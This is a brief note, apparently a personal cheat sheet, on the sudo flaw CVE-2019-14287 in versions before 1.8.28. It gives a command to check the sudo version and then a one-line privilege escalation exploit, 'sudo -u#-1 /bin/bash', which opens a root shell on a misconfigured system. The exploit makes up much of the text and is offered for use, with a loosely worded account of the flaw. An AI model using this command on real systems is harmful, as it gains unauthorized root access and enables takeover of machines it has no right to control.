CVE-2019-14287

There was a public CVE release in November 2019 about how there were other ways to enter root besides root that got around this restriction. This impacts sudo versions before 1.8.28.

find sudo version:

sudo --version

exploit:

sudo -u#-1 /bin/bash